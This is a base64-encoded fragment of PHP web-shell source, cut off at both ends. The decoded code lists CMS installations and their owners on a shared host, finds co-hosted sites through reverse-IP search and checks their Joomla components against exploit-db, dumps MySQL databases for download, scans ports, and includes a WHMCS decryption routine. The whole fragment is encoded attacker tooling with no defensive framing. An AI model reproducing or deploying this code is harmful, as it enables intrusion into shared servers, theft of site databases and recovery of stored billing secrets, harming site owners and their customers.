QoJJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOw0KCSRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW4pKTsNCgkNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KJGxpbmsgPSAkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ107DQoNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiV29yZFByZXNzIik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIkpvb21sYSIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJ2QnVsbGV0aW4iKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiV0hNQ1MiKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiUGhwQkIiKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiTXlCQiIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJJUEIiKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiU01GIik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIkRydXBhbCIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJlMTA3Iik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIlNlZGl0aW8iKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwib3NDb21tZXJjZSIpOw0KDQp9DQp9DQp9DQp9ZWxzZXsNCmVjaG8nPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjQ1JSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI0IiBjbGFzcz0idGQxIj4nOw0KZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj48Yj5DTVM8L2I+PC9jZW50ZXI+PC90ZD48L3RhYmxlPjxicj48YnI+JzsNCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHBhZ2VVUkwuJ3BlZS50bXAnKTsNCmVjaG8gJGNvbnRlbnQ7DQp9DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqc3MnKSkNCiAgICB7DQogICAgPz4NCiAgICA8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4meD1qc3MiIG1ldGhvZD0icG9zdCI+DQogICAgPD9waHANCgllY2hvICcNCg0KPGJyPjxicj48YnI+PHAgYWxpZ249ImNlbnRlciI+PGI+PGZvbnQgc2l6ZT0iMyI+RW50ZXIgVGFyZ2V0aW5nIElQPC9mb250PjwvYj48L3A+PGJyPg0KPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InNpdGUiIHNpemU9IjY1Ij48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NhbiI+PC9wPg0KPC9mb3JtPjxjZW50ZXI+DQoNCic7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHwgRV9OT1RJQ0UpOw0KIA0KZnVuY3Rpb24gY2hlY2tfZXhwbG9pdCgkY29teHgpew0KIA0KJGxpbmsgPSJodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZmaWx0ZXJfcGFnZT0xJmZpbHRlcl9kZXNjcmlwdGlvbj0kY29teHgmZmlsdGVyX2V4cGxvaXRfdGV4dD0mZmlsdGVyX2F1dGhvcj0mZmlsdGVyX3BsYXRmb3JtPTAmZmlsdGVyX3R5cGU9MCZmaWx0ZXJfbGFuZ19pZD0wJmZpbHRlcl9wb3J0PSZmaWx0ZXJfb3N2ZGI9JmZpbHRlcl9jdmU9IjsNCiANCiRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJGxpbmspOw0KIA0KaWYgKGVyZWdpKCJObyByZXN1bHRzIiwkcmVzdWx0KSkgIHsNCiANCmVjaG8iPHRkPk5vdCBGb3VuZDwvdGQ+PHRkPjxhIGhyZWY9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS8jaGw9ZW4mcT1kb3dubG9hZCskY29teHgram9vbWxhK2V4dGVuc2lvbic+RG93bmxvYWQ8L2E+PC90ZD48L3RyPiI7DQogDQp9ZWxzZXsNCiANCmVjaG8iPHRkPjxhIGhyZWY9JyRsaW5rJz5Gb3VuZDwvYT48L3RkPjx0ZD48PTwvdGQ+PC90cj4iOw0KIA0KfQ0KfQ0KIA0KZnVuY3Rpb24gY2hlY2tfY29tKCR1cmwpew0KIA0KJHNvdXJjZSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiANCnByZWdfbWF0Y2hfYWxsKCd7b3B0aW9uLCguKj8pL31pJywkc291cmNlLCRmKTsNCnByZWdfbWF0Y2hfYWxsKCd7b3B0aW9uPSguKj8pKCZhbXA7fCZ8Iil9aScsJHNvdXJjZSwkZjIpOw0KcHJlZ19tYXRjaF9hbGwoJ3svY29tcG9uZW50cy8oLio/KS99aScsJHNvdXJjZSwkZjMpOw0KIA0KJGFyej1hcnJheV9tZXJnZSgkZjJbMV0sJGZbMV0sJGYzWzFdKTsNCiANCiRjb21zPWFycmF5KCk7DQogDQpmb3JlYWNoKGFycmF5X3VuaXF1ZSgkYXJ6KSBhcyAkeCl7DQokY29tc1tdPSR4Ow0KfQ0KIA0KZm9yZWFjaCgkY29tcyBhcyAkY29tbSl7DQogDQplY2hvICI8dHI+PHRkPiRjb21tPC90ZD4iOw0KY2hlY2tfZXhwbG9pdCgkY29tbSk7DQp9DQogDQp9DQogDQpmdW5jdGlvbiBzZWMoJHNpdGUpew0KcHJlZ19tYXRjaF9hbGwoJ3todHRwOi8vKC4qPykoL2luZGV4LnBocCl9c2lVJywkc2l0ZSwgJHNpdGVzKTsNCmlmKGVyZWdpKCJ3d3ciLCRzaXRlc1swXVswXSkpew0KcmV0dXJuICRzaXRlPXN0cl9yZXBsYWNlKCJpbmRleC5waHAiLCIiLCRzaXRlc1swXVswXSk7DQp9ZWxzZXsNCnJldHVybiAkc2l0ZT1zdHJfcmVwbGFjZSgiaHR0cDovLyIsImh0dHA6Ly93d3cuIixzdHJfcmVwbGFjZSgiaW5kZXgucGhwIiwiIiwkc2l0ZXNbMF1bMF0pKTsNCn19DQogDQokbnBhZ2VzID0gNTAwMDA7DQogDQppZiAoJF9QT1NUKQ0Kew0KICAkaXAgPSB0cmltKHN0cmlwX3RhZ3MoJF9QT1NUWydzaXRlJ10pKTsNCiAgJG5wYWdlID0gMTsNCiAgJGFsbExpbmtzID0gYXJyYXkoKTsNCiANCiANCiAgIHdoaWxlKCRucGFnZSA8PSAkbnBhZ2VzKQ0KICB7DQogDQogICR4PUBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5iaW5nLmNvbS9zZWFyY2g/cT1pcCUzQScgLiAkaXAgLiAnK2luZGV4LnBocD9vcHRpb249Y29tJmZpcnN0PScgLiAkbnBhZ2UpOw0KIA0KIA0KICAgICAgICBpZiAoJHgpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnKDxkaXYgY2xhc3M9InNiX3Rsc3QiPi4qPGgzPi4qPGEgaHJlZj0iKC4qKSIuKj4oLiopPC9hPi4qPC9oMz4uKjwvZGl2PnNpVScsICR4LCAkZmluZGxpbmspOw0KICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmluZGxpbmtbMV0gYXMgJGZsKQ0KICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAkYWxsTGlua3NbXT1zZWMoJGZsKTsNCiAgICAgICAgICAgICAgDQogICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICRucGFnZSA9ICRucGFnZSArIDEwOw0KICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnKGZpcnN0PScgLiAkbnBhZ2UgLiAnJmFtcClzaVUnLCAkeCwgJGxpbmtzdWl2KSA9PSAwKQ0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7ICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgfQ0KICAgICAgDQogICAgZWxzZQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICB9DQogDQogDQokYWxsRG1ucyA9IGFycmF5KCk7DQogDQpmb3JlYWNoICgkYWxsTGlua3MgYXMgJGtrID0+ICR2dil7DQogDQokYWxsRG1uc1tdID0gJHZ2Ow0KfQ0KICAgICAgICAgICAgICAgICAgICAgIA0KZWNobyc8dGFibGUgYm9yZGVyPSIxIiAgd2lkdGg9XCI4MCVcIiBhbGlnbj1cImNlbnRlclwiPg0KPHRyPjx0ZCB3aWR0aD1cIjMwJVwiPjxiPlNlcnZlciBJUCZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA6IDwvYj48L3RkPjx0ZD48Yj4nLiRpcC4nPC9iPjwvdGQ+PC90cj4gICAgICAgICAgICAgICAgICAgIA0KPHRyPjx0ZCB3aWR0aD1cIjMwJVwiPjxiPlNpdGVzIEZvdW5kJm5ic3A7IDogPC9iPjwvdGQ+PHRkPjxiPicuY291bnQoYXJyYXlfdW5pcXVlKCRhbGxEbW5zKSkuJzwvYj48L3RkPjwvdHI+DQo8L3RhYmxlPic7DQplY2hvICI8YnI+PGJyPiI7DQogDQplY2hvJzx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSI4MCUiIGFsaWduPVwiY2VudGVyXCI+JzsNCiANCmZvcmVhY2goYXJyYXlfdW5pcXVlKCRhbGxEbW5zKSBhcyAkaDNoMyl7DQogDQplY2hvJzx0ciBpZD1uZXc+PHRkPjxiPjxhIGhyZWY9Jy4kaDNoMy4nPicuJGgzaDMuJzwvYT48L2I+PC90ZD48dGQ+PGI+RXhwbG9pdC1kYjwvYj48L3RkPjx0ZD48Yj5jaGFsbGVuZ2Ugb2YgRXhwbG9pdGluZyAuLiE8L2I+PC90ZD48L3RyPic7DQogDQpjaGVja19jb20oJGgzaDMpOw0KIA0KfQ0KIA0KZWNobyI8L3RhYmxlPiI7DQogDQp9DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkdW1wJykpDQogICAgew0KICAgID8+DQogICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9ZHVtcCIgbWV0aG9kPSJwb3N0Ij4NCiAgICA8P3BocA0KZWNobyAkaGVhZC4nPHAgYWxpZ249ImNlbnRlciI+JzsNCmVjaG8gJw0KPHRhYmxlIHdpZHRoPTM3MSBjbGFzcz10YWJuZXQgPg0KPHRyPjx0aCBjb2xzcGFuPSIyIj5EYXRhYmFzZSBEdW1wPC90aD48L3RyPg0KPHRyPg0KCTx0ZD5TZXJ2ZXIgPC90ZD4NCgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9dGV4dCBuYW1lPXNlcnZlciBzaXplPTUyPjwvdGQ+PC90cj48dHI+DQoJPHRkPlVzZXJuYW1lPC90ZD4NCgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9dGV4dCBuYW1lPXVzZXJuYW1lIHNpemU9NTI+PC90ZD48L3RyPjx0cj4NCgk8dGQ+UGFzc3dvcmQ8L3RkPg0KCTx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT10ZXh0IG5hbWU9cGFzc3dvcmQgc2l6ZT01Mj48L3RkPjwvdHI+PHRyPg0KCTx0ZD5EYXRhQmFzZSBOYW1lPC90ZD4NCgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9dGV4dCBuYW1lPWRibmFtZSBzaXplPTUyPjwvdGQ+PC90cj4NCgk8dHI+DQoJPHRkPkRCIFR5cGUgPC90ZD4NCgk8dGQ+PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj4NCgk8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9bWV0aG9kPg0KCQk8b3B0aW9uICB2YWx1ZT0iZ3ppcCI+R3ppcDwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSJzcWwiPlNxbDwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgk8aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRHVtcCEgICIgPjwvdGQ+PC90cj4NCgk8L2Zvcm0+PC9jZW50ZXI+PC90YWJsZT4nOw0KaWYgKCRfUE9TVFsndXNlcm5hbWUnXSAmJiAkX1BPU1RbJ2RibmFtZSddICYmICRfUE9TVFsnbWV0aG9kJ10pew0KJGRhdGUgPSBkYXRlKCJZLW0tZCIpOw0KJGRic2VydmVyID0gJF9QT1NUWydzZXJ2ZXInXTsNCiRkYnVzZXIgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQokZGJwYXNzID0gJF9QT1NUWydwYXNzd29yZCddOw0KJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQokZmlsZSA9ICJEdW1wLSRkYm5hbWUtJGRhdGUiOw0KJG1ldGhvZCA9ICRfUE9TVFsnbWV0aG9kJ107DQppZiAoJG1ldGhvZD09J3NxbCcpew0KJGZpbGU9IkR1bXAtJGRibmFtZS0kZGF0ZS5zcWwiOw0KJGZwPWZvcGVuKCRmaWxlLCJ3Iik7DQp9ZWxzZXsNCiRmaWxlPSJEdW1wLSRkYm5hbWUtJGRhdGUuc3FsLmd6IjsNCiRmcCA9IGd6b3BlbigkZmlsZSwidyIpOw0KfQ0KZnVuY3Rpb24gd3JpdGUoJGRhdGEpIHsNCmdsb2JhbCAkZnA7DQppZiAoJF9QT1NUWydtZXRob2QnXT09J3NzcWwnKXsNCmZ3cml0ZSgkZnAsJGRhdGEpOw0KfWVsc2V7DQpnendyaXRlKCRmcCwgJGRhdGEpOw0KfX0NCm15c3FsX2Nvbm5lY3QgKCRkYnNlcnZlciwgJGRidXNlciwgJGRicGFzcyk7DQpteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQokdGFibGVzID0gbXlzcWxfcXVlcnkgKCJTSE9XIFRBQkxFUyIpOw0Kd2hpbGUgKCRpID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHRhYmxlcykpIHsNCiAgICAkaSA9ICRpWydUYWJsZXNfaW5fJy4kZGJuYW1lXTsNCiAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkobXlzcWxfcXVlcnkgKCJTSE9XIENSRUFURSBUQUJMRSAiLiRpKSk7DQogICAgd3JpdGUoJGNyZWF0ZVsnQ3JlYXRlIFRhYmxlJ10uIjtcblxuIik7DQogICAgJHNxbCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUICogRlJPTSAiLiRpKTsNCiAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHNxbCkpIHsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHNxbCkpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGogPT4gJGspIHsNCiAgICAgICAgICAgICAgICAkcm93WyRqXSA9ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRrKS4iJyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB3cml0ZSgiSU5TRVJUIElOVE8gJGkgVkFMVUVTKCIuaW1wbG9kZSgiLCIsICRyb3cpLiIpO1xuIik7DQogICAgICAgIH0NCiAgICB9DQp9DQppZiAoJG1ldGhvZD09J3NzcWwnKXsNCmZjbG9zZSAoJGZwKTsNCn1lbHNlew0KZ3pjbG9zZSgkZnApO30NCmhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IiAuICRmaWxlKTsgICANCmhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9kb3dubG9hZCIpOw0KaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVzaXplKCRmaWxlKSk7DQpmbHVzaCgpOw0KDQokZnAgPSBmb3BlbigkZmlsZSwgInIiKTsNCndoaWxlICghZmVvZigkZnApKQ0Kew0KICAgIGVjaG8gZnJlYWQoJGZwLCA2NTUzNik7DQogICAgZmx1c2goKTsNCn0gDQpmY2xvc2UoJGZwKTsgDQp9DQoNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BvcnQtc2MnKSkNCiAgICB7DQogICAgPz4NCiAgICA8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4meD1wb3J0LXNjIiBtZXRob2Q9InBvc3QiPg0KICAgIDw/cGhwDQogICAgZWNobyAnPGJyPjxicj48Y2VudGVyPjxicj48Yj4tLT09WyBQb3J0IFNjYW5uZXIgXT09LS08L2I+PGJyPic7DQogICAgJHN0YXJ0ID0gc3RyaXBfdGFncygkX1BPU1RbJ3N0YXJ0J10pOw0KICAgICRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnZW5kJ10pOw0KICAgICRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2hvc3QnXSk7DQogICAgaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydlbmQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3N0YXJ0J10pKXsNCiAgICBmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsNCiAgICAkZnAgPSBAZnNvY2tvcGVuKCRob3N0LCAkaSwgJGVycm5vLCAkZXJyc3RyLCAzKTsNCiAgICBpZigkZnApew0KICAgIGVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7DQogICAgfQ0KICAgIGZsdXNoKCk7DQogICAgfQ0KICAgIH1lbHNlew0KICAgIGVjaG8gJzx0YWJsZSBjbGFzcz10YWJuZXQgc3R5bGU9IndpZHRoOjMwMHB4O3BhZGRpbmc6MCAxcHg7Ij4NCiAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InkiIHZhbHVlPSJwaHB0b29scyI+DQogICA8dHI+PHRoIGNvbHNwYW49IjUiPlBvcnQgU2Nhbm5lcjwvdGg+PC9jZW50ZXI+PC90cj4NCiAgIDx0cj4NCgkJPHRkPkhvc3Q8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiICBzdHlsZT0id2lkdGg6MjIwcHg7Y29sb3I6I0ZGMDAwMDsiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz48L3RkPg0KICAgPC90cj4NCiAgIDx0cj4NCgkJPHRkPlBvcnQgc3RhcnQ8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIHN0eWxlPSJ3aWR0aDoyMjBweDtjb2xvcjojRkYwMDAwOyIgbmFtZT0ic3RhcnQiIHZhbHVlPSIwIi8+PC90ZD4NCiAgIDwvdHI+DQoJPHRyPjx0ZD5Qb3J0IGVuZDwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgIHN0eWxlPSJ3aWR0aDoyMjBweDtjb2xvcjojRkYwMDAwOyIgbmFtZT0iZW5kIiB2YWx1ZT0iNTAwMCIvPjwvdGQ+DQogICA8L3RyPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiBzdHlsZT0iY29sb3I6I0ZGMDAwMCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+DQogICA8L3RkPjwvZm9ybT48L2NlbnRlcj48L3RhYmxlPic7DQogICAgfQ0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdoYXNoJykpDQogICAgew0KJHN1Ym1pdD0gJF9QT1NUWydlbnRlciddOw0KaWYgKGlzc2V0KCRzdWJtaXQpKSB7DQokcGFzcyA9ICRfUE9TVFsncGFzc3dvcmQnXTsgLy8gcGFzc3dvcmQNCiRzYWx0ID0gJ30jZjRnYX5nJTdoamc0JmooN21rPy8hYmozMGFiLXdpPTZeNy0kXlI5RnxHSzVKI0U2V1Q7SU9bSk4nOyAvLyByYW5kb20gc3RyaW5nDQokaGFzaCA9IG1kNSgkcGFzcyk7IC8vIG1kNSBoYXNoICMxDQokbWQ0ID0gaGFzaCgibWQ0IiwkcGFzcyk7DQokaGFzaF9tZDUgPSBtZDUoJHNhbHQuJHBhc3MpOyAvLyBtZDUgaGFzaCB3aXRoIHNhbHQgIzINCiRoYXNoX21kNV9kb3VibGUgPSBtZDUoc2hhMSgkc2FsdC4kcGFzcykpOyAvLyBtZDUgaGFzaCB3aXRoIHNhbHQgJiBzaGExICMzDQokaGFzaDEgPSBzaGExKCRwYXNzKTsgLy8gc2hhMSBoYXNoICM0DQokc2hhMjU2ID0gaGFzaCgic2hhMjU2IiwkdGV4dCk7DQokaGFzaDFfc2hhMSA9IHNoYTEoJHNhbHQuJHBhc3MpOyAvLyBzaGExIGhhc2ggd2l0aCBzYWx0ICM1DQokaGFzaDFfc2hhMV9kb3VibGUgPSBzaGExKG1kNSgkc2FsdC4kcGFzcykpOyAvLyBzaGExIGhhc2ggd2l0aCBzYWx0ICYgbWQ1ICM2DQp9DQplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48Yj48dGFibGUgY2xhc3M9dGFibmV0Pic7DQplY2hvICc8dHI+PHRoIGNvbHNwYW49IjIiPlBhc3N3b3JkIEhhc2g8L3RoPjwvY2VudGVyPjwvdHI+JzsNCmVjaG8gJzx0cj48dGQ+PGI+RW50ZXIgdGhlIHdvcmQgeW91IHdhbnQgdG8gZW5jcnlwdDo8L2I+PC90ZD4nOw0KZWNobyAnPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzd29yZCIgc2l6ZT0iNDAiIC8+JzsNCmVjaG8gJzxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImVudGVyIiB2YWx1ZT0iaGFzaCIgLz4nOw0KZWNobyAnPC90ZD48L3RyPjxicj4nOw0KZWNobyAnPHRyPjx0aCBjb2xzcGFuPSIyIj5IYXNoIFJlc3VsdDwvdGg+PC9jZW50ZXI+PC90cj4nOw0KZWNobyAnPHRyPjx0ZD5PcmlnaW5hbCBQYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kcGFzcy4nPjwvdGQ+PC90cj48YnI+PGJyPic7DQplY2hvICc8dHI+PHRkPk1ENTwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kaGFzaC4nPjwvdGQ+PC90cj48YnI+PGJyPic7DQplY2hvICc8dHI+PHRkPk1ENDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kbWQ0Lic+PC90ZD48L3RyPjxicj48YnI+JzsNCmVjaG8gJzx0cj48dGQ+TUQ1IHdpdGggU2FsdDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kaGFzaF9tZDUuJz48L3RkPjwvdHI+PGJyPjxicj4nOw0KZWNobyAnPHRyPjx0ZD5NRDUgd2l0aCBTYWx0ICYgU2hhMTwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kaGFzaF9tZDVfZG91YmxlLic+PC90ZD48L3RyPjxicj48YnI+JzsNCmVjaG8gJzx0cj48dGQ+U2hhMTwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kaGFzaDEuJz48L3RkPjwvdHI+PGJyPjxicj4nOw0KZWNobyAnPHRyPjx0ZD5TaGEyNTY8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJHNoYTI1Ni4nPjwvdGQ+PC90cj48YnI+PGJyPic7DQplY2hvICc8dHI+PHRkPlNoYTEgd2l0aCBTYWx0PC90ZD48dGQ+PGlucHV0IGNsYXNzPWlucHV0eiB0eXBlPXRleHQgc2l6ZT01MCB2YWx1ZT0nLiRoYXNoMV9zaGExLic+PC90ZD48L3RyPjxicj48YnI+JzsNCmVjaG8gJzx0cj48dGQ+U2hhMSB3aXRoIFNhbHQgJiBNRDU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJGhhc2gxX3NoYTFfZG91YmxlLic+PC90ZD48L3RyPjxicj48YnI+PC90YWJsZT4nOyANCn0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnd2htY3MnKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXdobWNzIiBtZXRob2Q9InBvc3QiPg0KDQo8P3BocA0KDQpmdW5jdGlvbiBkZWNyeXB0ICgkc3RyaW5nLCRjY19lbmNyeXB0aW9uX2hhc2gpDQp7DQogICAgJGtleSA9IG1kNSAobWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKSkgLiBtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpOw0KICAgICRoYXNoX2tleSA9IF9oYXNoICgka2V5KTsNCiAgICAkaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7DQogICAgJHN0cmluZyA9IGJhc2U2NF9kZWNvZGUgKCRzdHJpbmcpOw0KICAgICR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7DQogICAgJHN0cmluZyA9IHN1YnN0ciAoJHN0cmluZywgJGhhc2hfbGVuZ3RoLCBzdHJsZW4gKCRzdHJpbmcpIC0gJGhhc2hfbGVuZ3RoKTsNCiAgICAkaXYgPSAkb3V0ID0gJyc7DQogICAgJGMgPSAwOw0KICAgIHdoaWxlICgkYyA8ICRoYXNoX2xlbmd0aCkNCiAgICB7DQogICAgICAgICRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7DQogICAgICAgICsrJGM7DQogICAgfQ0KICAgICRrZXkgPSAkaXY7DQogICAgJGMgPSAwOw0KICAgIHdoaWxlICgkYyA8IHN0cmxlbiAoJHN0cmluZykpDQogICAgew0KICAgICAgICBpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQ0KICAgICAgICB7DQogICAgICAgICAgICAka2V5ID0gX2hhc2ggKCRrZXkgLiBzdWJzdHIgKCRvdXQsICRjIC0gJGhhc2hfbGVuZ3RoLCAkaGFzaF9sZW5ndGgpKTsNCiAgICAgICAgfQ0KICAgICAgICAkb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7DQogICAgICAgICsrJGM7DQogICAgfQ0KICAgIHJldHVybiAkb3V0Ow0KfQ0KDQpmdW5jdGlvbiBfaGFzaCAoJHN0cmluZykNCnsNCiAgICBpZiAoZnVuY